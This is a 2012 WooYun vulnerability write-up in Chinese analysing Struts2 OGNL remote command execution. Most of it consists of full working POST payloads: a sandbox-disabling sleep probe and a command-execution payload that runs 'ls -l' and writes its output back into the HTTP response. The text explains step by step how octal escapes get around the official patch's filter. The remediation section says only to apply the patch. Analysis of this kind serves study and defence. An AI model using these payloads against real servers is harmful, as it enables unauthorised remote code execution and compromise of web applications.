漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-08994
漏洞标题:structs2 远程命令执行漏洞分析
相关厂商:漏洞分析
漏洞作者: livers
提交时间:2012-06-29 13:49
修复时间:2012-06-29 13:49
公开时间:2012-06-29 13:49
漏洞类型:命令执行
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-06-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-29: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
很惊异 老漏洞一下子爆发了这么多 是工具刷rank ?
能否分析下原理。
详细说明:
大牛们不要见笑。
新的exp 构造的很精巧
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell.
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
这个和 zone 上 http://zone.wooyun.org/content/200说的一致
GaRY | 2012-05-10 13:36
@livers 其实原理就和我之前用php操作fd复用链接直接生成shell一样。java更直接,因为tomcat等container和webapp几乎没界限,同一层面的东西。所以只要找到这个上下文的writer,往里面读写就ok了。
看了衰仔和 gainover他们的工具是利用方式是一样的,好巧
构造post 和绕过变量还有其他方法进行执行。
PS:其实我不懂java.
漏洞证明:
修复方案:
打补丁
版权声明:转载请注明来源 livers@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:10 (WooYun评价)